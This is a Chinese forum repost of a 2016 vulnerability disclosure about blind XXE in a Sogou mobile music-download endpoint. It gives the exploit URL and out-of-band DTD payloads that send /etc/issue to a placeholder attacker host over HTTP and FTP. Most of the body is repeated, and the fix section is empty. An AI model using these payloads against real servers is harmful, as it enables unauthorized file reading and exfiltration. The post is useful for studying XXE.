HanDs
管理员

[7月漏洞公开] 搜狗某站文件读取/列目录(Java环境Blind XXE) 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

rt

详细说明:

http://m.sogou.com/music/musicDownload.jsp?album=%E5%8F%A3%E9%9F%B3&clk=2&keyword=1&lyc=&lyricMatch=yes&p=1&qqdurl=http://cc.stream.qqmusic.qq.com/C100002T2WQy2NIgLS.m4a%3Ffromtag%3D52&s=%E7%AA%A6%E5%94%AF&singer=%E7%AA%A6%E5%94%AF&size=0&title=1&type=%E6%9C%AA%E7%9F%A5&uID=qE_VFO3qxwVsK7Gx&url=http://xxx.com/1&v=2&w=1111



其中参数url存在XXE风险,这里没有回显,先通过HTTP Accesslog验证一下。



1的文件内容如下:

<?xml version="1.0" encoding="UTF-8" standalone="no" ?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://xxx.com?xxoo">



%remote;

]>



</root>

然后看日志

123.png



只要我们服务器有接收到来源于解析服务器的请求,就证明存在XXE漏洞。



来直接读file内容,用到两个文件

文件1:

<?xml version="1.0" encoding="UTF-8" standalone="no" ?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://xxx.com/2">

%remote;

]>



</root>

文件2:

<!ENTITY % payload SYSTEM "file:///etc/issue">

<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://xxx.com/%payload;'>">

%int;

%trick;



不成功。有两种办法,通过gopher或者ftp。我们来用ftp试一下。

修改文件2的内容:

<!ENTITY % payload SYSTEM "file:///etc/issue">

<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'ftp://xxx.com/%payload;'>">

%int;

%trick;

然后抓包,用wireshark看看。可以看到读取到了/etc/issue文件。

123.png



然后试一下列目录。



用了这个帖子里的监听代码。http://zone.wooyun.org/content/26651

读取一下/etc/下的文件

123.png





漏洞证明:

http://m.sogou.com/music/musicDownload.jsp?album=%E5%8F%A3%E9%9F%B3&clk=2&keyword=1&lyc=&lyricMatch=yes&p=1&qqdurl=http://cc.stream.qqmusic.qq.com/C100002T2WQy2NIgLS.m4a%3Ffromtag%3D52&s=%E7%AA%A6%E5%94%AF&singer=%E7%AA%A6%E5%94%AF&size=0&title=1&type=%E6%9C%AA%E7%9F%A5&uID=qE_VFO3qxwVsK7Gx&url=http://xxx.com/1&v=2&w=1111



其中参数url存在XXE风险,这里没有回显,先通过HTTP Accesslog验证一下。



1的文件内容如下:

<?xml version="1.0" encoding="UTF-8" standalone="no" ?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://xxx.com?xxoo">



%remote;

]>



</root>

然后看日志

123.png



只要我们服务器有接收到来源于解析服务器的请求,就证明存在XXE漏洞。



来直接读file内容,用到两个文件

文件1:

<?xml version="1.0" encoding="UTF-8" standalone="no" ?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://xxx.com/2">

%remote;

]>



</root>

文件2:

<!ENTITY % payload SYSTEM "file:///etc/issue">

<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://xxx.com/%payload;'>">

%int;

%trick;



不成功。有两种办法,通过gopher或者ftp。我们来用ftp试一下。

修改文件2的内容:

<!ENTITY % payload SYSTEM "file:///etc/issue">

<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'ftp://xxx.com/%payload;'>">

%int;

%trick;

然后抓包,用wireshark看看。可以看到读取到了/etc/issue文件。

123.png



然后试一下列目录。



用了这个帖子里的监听代码。http://zone.wooyun.org/content/26651

读取一下/etc/下的文件

123.png



修复方案:

.


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
搜狗
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复